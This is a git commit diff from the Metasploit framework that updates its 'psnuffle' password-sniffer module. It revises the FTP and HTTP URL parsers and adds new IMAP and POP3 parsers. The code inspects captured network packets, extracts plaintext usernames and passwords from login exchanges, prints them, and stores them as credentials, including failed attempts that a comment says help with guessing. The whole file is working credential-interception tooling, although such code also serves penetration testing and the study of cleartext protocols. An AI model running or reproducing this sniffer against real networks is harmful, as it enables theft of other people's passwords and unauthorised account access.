Updated pSnuffle sniffer code from _MAX_
git-svn-id: file:///home/svn/framework3/trunk@6965 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
71bf0a12a1
commit
2247b483d9
|
@ -1,27 +1,29 @@
|
|||
# Sniffer class for ftp
|
||||
# Psnuffle password sniffer add-on class for ftp
|
||||
# part of psnuffle sniffer auxiliary module
|
||||
#
|
||||
# When db is available reports go into db
|
||||
# Also incorrect credentials are sniffed but marked
|
||||
# as unsuccessful logins... (Typos are common :-) )
|
||||
#
|
||||
|
||||
class SnifferFTP < BaseProtocolParser
|
||||
|
||||
def register_sigs
|
||||
self.sigs = {
|
||||
:banner => /^(220\s*[^\r\n]+)/si,
|
||||
:user => /^USER\s+([^\s]+)/si,
|
||||
:pass => /^PASS\s+([^\s]+)/si,
|
||||
:login_pass => /^(230\s*[^\n]+)/si,
|
||||
:login_fail => /^(530\s*[^\n]+)/si,
|
||||
self.sigs = {
|
||||
:banner => /^(220\s*[^\r\n]+)/si,
|
||||
:user => /^USER\s+([^\s]+)/si,
|
||||
:pass => /^PASS\s+([^\s]+)/si,
|
||||
:login_pass => /^(230\s*[^\n]+)/si,
|
||||
:login_fail => /^(5\d\d\s*[^\n]+)/si,
|
||||
}
|
||||
end
|
||||
|
||||
|
||||
def parse(pkt)
|
||||
|
||||
# We want to return immediatly if we do not have a packet which is handled by us
|
||||
return if not pkt[:tcp]
|
||||
return if (pkt[:tcp].src_port != 21 and pkt[:tcp].dst_port != 21)
|
||||
|
||||
# Ok it's a packet for us lets look fot the matching session
|
||||
if (pkt[:tcp].dst_port == 21) # When command to server
|
||||
s = find_session("#{pkt[:ip].dst_ip}:#{pkt[:tcp].dst_port}-#{pkt[:ip].src_ip}:#{pkt[:tcp].src_port}","#{pkt[:ip].dst_ip}")
|
||||
else # When command from server (session is based on server ip and port only)
|
||||
s = find_session("#{pkt[:ip].src_ip}:#{pkt[:tcp].src_port}-#{pkt[:ip].dst_ip}:#{pkt[:tcp].dst_port}","#{pkt[:ip].src_ip}")
|
||||
end
|
||||
s = find_session((pkt[:tcp].dst_port == 21) ? get_session_src(pkt) : get_session_dst(pkt))
|
||||
|
||||
self.sigs.each_key do |k|
|
||||
# There is only one pattern per run to test
|
||||
|
@ -34,37 +36,43 @@ class SnifferFTP < BaseProtocolParser
|
|||
end
|
||||
|
||||
case matched
|
||||
|
||||
when :login_fail
|
||||
if(s[:user] and s[:pass])
|
||||
s[:proto]="ftp"
|
||||
s[:extra]="Failed Login. Banner: #{s[:banner]}"
|
||||
report_auth_info(s)
|
||||
print_status("Failed FTP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
|
||||
|
||||
s[:pass]=""
|
||||
return
|
||||
end
|
||||
|
||||
when :login_pass
|
||||
if(s[:user] and s[:pass])
|
||||
print "-> FTP password sniffed: #{s[:session]} >> username:#{s[:user]} password:#{s[:pass]} Server Welcome Banner:#{s[:banner]}\n"
|
||||
|
||||
# Report into DB when possible - is prepared but now used right now have to check why it does not work
|
||||
#reporthash=Hash.new
|
||||
#reporthash[:user]=s[:user]
|
||||
#reporthash[:pass]=s[:pass]
|
||||
#reporthash[:targ_host]=s[:host]
|
||||
#reporthash[:targ_port]=21
|
||||
#reporthash[:port]=21
|
||||
#reporthash[:host]=s[:host]
|
||||
#reporthash[:extra]="Server Welcome Banner: #{s[:banner]}"
|
||||
#reporthash[:proto]="FTP"
|
||||
#report_auth_info(reporthash)
|
||||
|
||||
# Remove it form the session objects so freeup
|
||||
s[:proto]="ftp"
|
||||
s[:extra]="Successful Login. Banner: #{s[:banner]}"
|
||||
report_auth_info(s)
|
||||
print_status("Successful FTP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
|
||||
# Remove it form the session objects so freeup memory
|
||||
sessions.delete(s[:session])
|
||||
|
||||
return
|
||||
return
|
||||
end
|
||||
|
||||
when :banner
|
||||
# Because some ftp server send multiple banner we take only the first one and ignore the rest
|
||||
# Because some ftp server send multiple banner we take only the first one and ignore the rest
|
||||
if not (s[:banner])
|
||||
sessions[s[:session]].merge!({k => matches})
|
||||
s[:name]="FTP Server Welcome Banner: \"#{s[:banner]}\""
|
||||
report_service(s)
|
||||
end
|
||||
|
||||
when nil
|
||||
# No matches, no saved state
|
||||
else
|
||||
sessions[s[:session]].merge!({k => matches})
|
||||
end # end case matched
|
||||
|
||||
end # end of each_key
|
||||
end # end of parse
|
||||
end
|
||||
|
|
|
@ -0,0 +1,85 @@
|
|||
# Psnuffle password sniffer add-on class for imap
|
||||
# part of psnuffle sniffer auxiliary module
|
||||
#
|
||||
# When db is available reports go into db
|
||||
# Also incorrect credentials are sniffed but marked
|
||||
# as unsuccessful logins... (Typos are common :-) )
|
||||
#
|
||||
|
||||
|
||||
class SnifferIMAP < BaseProtocolParser
|
||||
|
||||
def register_sigs
|
||||
self.sigs = {
|
||||
:banner => /^(\*\s+OK[^\n\r]*)/si,
|
||||
:login => /^CAPABILITY\s+LOGIN\s+([^\s]+)\s+([^\n\r]+)/si,
|
||||
:login_pass => /^CAPABILITY\s+OK\s+(Login[^\n\r]*)/si,
|
||||
:login_bad => /^CAPABILITY\s+BAD\s+(Login[^\n\r]*)/si,
|
||||
:login_fail => /^CAPABILITY\s+NO\s+(Login[^\n\r]*)/si
|
||||
}
|
||||
end
|
||||
|
||||
def parse(pkt)
|
||||
|
||||
# We want to return immediatly if we do not have a packet which is handled by us
|
||||
return if not pkt[:tcp]
|
||||
return if (pkt[:tcp].src_port != 143 and pkt[:tcp].dst_port != 143)
|
||||
s = find_session((pkt[:tcp].dst_port == 143) ? get_session_src(pkt) : get_session_dst(pkt))
|
||||
|
||||
self.sigs.each_key do |k|
|
||||
# There is only one pattern per run to test
|
||||
matched = nil
|
||||
matches = nil
|
||||
|
||||
if (pkt[:tcp].payload_data =~ self.sigs[k])
|
||||
matched = k
|
||||
matches = [$1,$2]
|
||||
end
|
||||
|
||||
case matched
|
||||
when :banner
|
||||
s[:banner] = matches
|
||||
s[:name] = "IMAP Server Welcome Banner: #{s[:banner]}"
|
||||
report_service(s)
|
||||
|
||||
when :login_pass
|
||||
|
||||
s[:proto]="imap4"
|
||||
s[:extra]="Sucessful Login. Banner: #{s[:banner]}"
|
||||
report_auth_info(s)
|
||||
print_status("Successful IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
|
||||
|
||||
# Remove it form the session objects so freeup
|
||||
sessions.delete(s[:session])
|
||||
|
||||
when :login_fail
|
||||
|
||||
s[:proto]="imap4"
|
||||
s[:extra]="Failed Login. Banner: #{s[:banner]}"
|
||||
report_auth_info(s)
|
||||
print_status("Failed IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
|
||||
|
||||
# Remove it form the session objects so freeup
|
||||
sessions.delete(s[:session])
|
||||
|
||||
when :login_bad
|
||||
s[:proto]="imap4"
|
||||
s[:extra]="Failed Login. Banner: #{s[:banner]}"
|
||||
report_auth_info(s)
|
||||
print_status("Bad IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
|
||||
|
||||
# Remove it form the session objects so freeup
|
||||
sessions.delete(s[:session])
|
||||
|
||||
when :login
|
||||
s[:user]=$1
|
||||
s[:pass]=$2
|
||||
|
||||
when nil
|
||||
# No matches, no saved state
|
||||
else
|
||||
sessions[s[:session]].merge!({k => matches})
|
||||
end # end case matched
|
||||
end # end of each_key
|
||||
end # end of parse
|
||||
end
|
|
@ -0,0 +1,85 @@
|
|||
# Psnuffle password sniffer add-on class for pop3
|
||||
# part of psnuffle sniffer auxiliary module
|
||||
#
|
||||
# When db is available reports go into db
|
||||
# Also incorrect credentials are sniffed but marked
|
||||
# as unsuccessful logins... (Typos are common :-) )
|
||||
#
|
||||
class SnifferPOP3 < BaseProtocolParser
|
||||
def register_sigs
|
||||
self.sigs = {
|
||||
:ok => /^(\+OK[^\n]*)\n/si,
|
||||
:err => /^(\-ERR[^\n]*)\n/si,
|
||||
:user => /^USER\s+([^\n]+)\n/si,
|
||||
:pass => /^PASS\s+([^\n]+)\n/si,
|
||||
:quit => /^(QUIT\s*[^\n]*)\n/si
|
||||
}
|
||||
end
|
||||
|
||||
def parse(pkt)
|
||||
# We want to return immediatly if we do not have a packet which is handled by us
|
||||
return if not pkt[:tcp]
|
||||
return if (pkt[:tcp].src_port != 110 and pkt[:tcp].dst_port != 110)
|
||||
s = find_session((pkt[:tcp].dst_port == 110) ? get_session_src(pkt) : get_session_dst(pkt))
|
||||
|
||||
self.sigs.each_key do |k|
|
||||
# There is only one pattern per run to test
|
||||
matched = nil
|
||||
matches = nil
|
||||
|
||||
if(pkt[:tcp].payload_data =~ self.sigs[k])
|
||||
matched = k
|
||||
matches = $1
|
||||
end
|
||||
|
||||
case matched
|
||||
when :ok
|
||||
# Last command was successful, in addition most servers transmit a banner with the first +OK
|
||||
case s[:last]
|
||||
when nil
|
||||
# Its the first +OK must include the banner, worst case its just +OK
|
||||
s[:banner] = matches
|
||||
s[:name] = "POP3 Server Welcome Banner: \"#{s[:banner]}\""
|
||||
report_service(s)
|
||||
|
||||
when :user
|
||||
# When the last command was a username login
|
||||
# We might keep track on this one in future
|
||||
when :pass
|
||||
# Perfect we get an +OK after a PASS command this means right password given :-)
|
||||
|
||||
s[:proto]="pop3"
|
||||
s[:extra]="Successful Login. Banner: #{s[:banner]}"
|
||||
report_auth_info(s)
|
||||
print_status("Successful POP3 Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
|
||||
|
||||
# Remove it form the session objects so freeup
|
||||
sessions.delete(s[:session])
|
||||
|
||||
when :quit
|
||||
# The session is terminated by the user just delete is as well
|
||||
sessions.delete(s[:session])
|
||||
end
|
||||
s[:last]=:ok
|
||||
|
||||
when :err
|
||||
case s[:last]
|
||||
when :pass
|
||||
# Oops got a -ERR after a pass so its crap ignore the pass
|
||||
# But report it, might be helpfull for guessing :-)
|
||||
|
||||
s[:proto]="pop3"
|
||||
s[:extra]="Failed Login. Banner: #{s[:banner]}"
|
||||
report_auth_info(s)
|
||||
print_status("Invalid POP3 Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
|
||||
s[:pass]=""
|
||||
end
|
||||
when nil
|
||||
# No matches, no saved state
|
||||
else
|
||||
s[:last]=matched
|
||||
sessions[s[:session]].merge!({k => matches})
|
||||
end # end case matched
|
||||
end # end of each_key
|
||||
end # end of parse
|
||||
end
|
|
@ -1,19 +1,23 @@
|
|||
# Psnuffle password sniffer add-on class for HTTP GET URL's
|
||||
# part of psnuffle sniffer auxiliary module
|
||||
#
|
||||
# Very simple example how to write sniffer extensions
|
||||
#
|
||||
|
||||
# Sniffer class for GET URL's
|
||||
class SnifferURL < BaseProtocolParser
|
||||
def register_sigs
|
||||
self.sigs = {
|
||||
:get => /^GET\s+([^\n]+)\s+HTTP\/\d\.\d/si,
|
||||
:host => /^Host\:\s+([^\n]+)/si
|
||||
self.sigs = {
|
||||
:get => /^GET\s+([^\n]+)\s+HTTP\/\d\.\d/si,
|
||||
:webhost => /^HOST\:\s+([^\n\r]+)/si,
|
||||
}
|
||||
end
|
||||
|
||||
def parse(pkt)
|
||||
# We want to return immediantly if we do not have a packet which is handled by us
|
||||
# We want to return immediantly if we do not have a packet which is handled by us
|
||||
return if not pkt[:tcp]
|
||||
return if (pkt[:tcp].dst_port != 80)
|
||||
|
||||
# Ok it's a packet for us lets look fot the matching session
|
||||
s = find_session("#{pkt[:ip].dst_ip}:#{pkt[:tcp].dst_port}-#{pkt[:ip].src_ip}:#{pkt[:tcp].src_port}","#{pkt[:ip].dst_ip}")
|
||||
s = find_session((pkt[:tcp].dst_port == 80) ? get_session_dst(pkt) : get_session_src(pkt))
|
||||
|
||||
self.sigs.each_key do |k|
|
||||
|
||||
|
@ -24,22 +28,20 @@ class SnifferURL < BaseProtocolParser
|
|||
if(pkt[:tcp].payload_data =~ self.sigs[k])
|
||||
matched = k
|
||||
matches = $1
|
||||
sessions[s[:session]].merge!({k => matches})
|
||||
end
|
||||
|
||||
case matched
|
||||
when :host
|
||||
when :webhost
|
||||
sessions[s[:session]].merge!({k => matches})
|
||||
if(s[:get])
|
||||
print "-> Get request sniffed: #{s[:host]}#{s[:get]}\n"
|
||||
print_status("HTTP GET: #{s[:session]} http://#{s[:webhost]}#{s[:get]}")
|
||||
sessions.delete(s[:session])
|
||||
return
|
||||
end
|
||||
when nil
|
||||
# No matches, no saved state
|
||||
else
|
||||
sessions[s[:session]].merge!({k => matches})
|
||||
end # end case matched
|
||||
|
||||
end # end of each_key
|
||||
|
||||
end # end of parse
|
||||
end # end of URL sniffer
|
||||
|
|
|
@ -118,7 +118,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
true
|
||||
end
|
||||
close_pcap()
|
||||
close_pcap
|
||||
print_status("Finished sniffing")
|
||||
end
|
||||
end
|
||||
|
@ -145,8 +145,27 @@ class BaseProtocolParser
|
|||
def register_sigs
|
||||
self.sigs = {}
|
||||
end
|
||||
|
||||
def find_session(sessionid, host)
|
||||
|
||||
#
|
||||
# Glue methods to bridge parsers to the main module class
|
||||
#
|
||||
def print_status(msg)
|
||||
self.module.print_status(msg)
|
||||
end
|
||||
|
||||
def print_error(msg)
|
||||
self.module.print_error(msg)
|
||||
end
|
||||
|
||||
def report_auth_info(*s)
|
||||
self.module.report_auth_info(*s)
|
||||
end
|
||||
|
||||
def report_service(*s)
|
||||
self.module.report_service(*s)
|
||||
end
|
||||
|
||||
def find_session(sessionid)
|
||||
sessions.each_key do |ses|
|
||||
# Check for cleanup abilities... kills performance in large environments maybe
|
||||
if ((sessions[ses][:mtime]-sessions[ses][:ctime])>300) #When longer than 5 minutes no packet was related to the session, delete it
|
||||
|
@ -160,11 +179,34 @@ class BaseProtocolParser
|
|||
# Refresh the timestamp
|
||||
sessions[sessionid][:mtime] = Time.now
|
||||
else
|
||||
# Create it and add a creation time
|
||||
sessions[sessionid]={:host => host, :session => sessionid, :ctime => Time.now, :mtime => Time.now}
|
||||
# Create a new session entry along with the host/port from the id
|
||||
if (sessionid =~ /^([^:]+):([^-]+)-/s)
|
||||
sessions[sessionid] = {
|
||||
:host => $1,
|
||||
:targ_host => $1,
|
||||
:port => $2,
|
||||
:targ_port => $2,
|
||||
:session => sessionid,
|
||||
:ctime => Time.now,
|
||||
:mtime => Time.now
|
||||
}
|
||||
end
|
||||
end
|
||||
|
||||
return sessions[sessionid]
|
||||
end
|
||||
end
|
||||
|
||||
def get_session_src(pkt)
|
||||
return "#{pkt[:ip].dst_ip}:#{pkt[:tcp].dst_port}-#{pkt[:ip].src_ip}:#{pkt[:tcp].src_port}" if pkt[:tcp]
|
||||
return "#{pkt[:ip].dst_ip}:#{pkt[:udp].dst_port}-#{pkt[:ip].src_ip}:#{pkt[:udp].src_port}" if pkt[:udp]
|
||||
return "#{pkt[:ip].dst_ip}:0-#{pkt[:ip].src_ip}:0"
|
||||
end
|
||||
|
||||
def get_session_dst(pkt)
|
||||
return "#{pkt[:ip].src_ip}:#{pkt[:tcp].src_port}-#{pkt[:ip].dst_ip}:#{pkt[:tcp].dst_port}" if pkt[:tcp]
|
||||
return "#{pkt[:ip].src_ip}:#{pkt[:udp].src_port}-#{pkt[:ip].dst_ip}:#{pkt[:udp].dst_port}" if pkt[:udp]
|
||||
return "#{pkt[:ip].src_ip}:0-#{pkt[:ip].dst_ip}:0"
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
|
Loading…
Reference in New Issue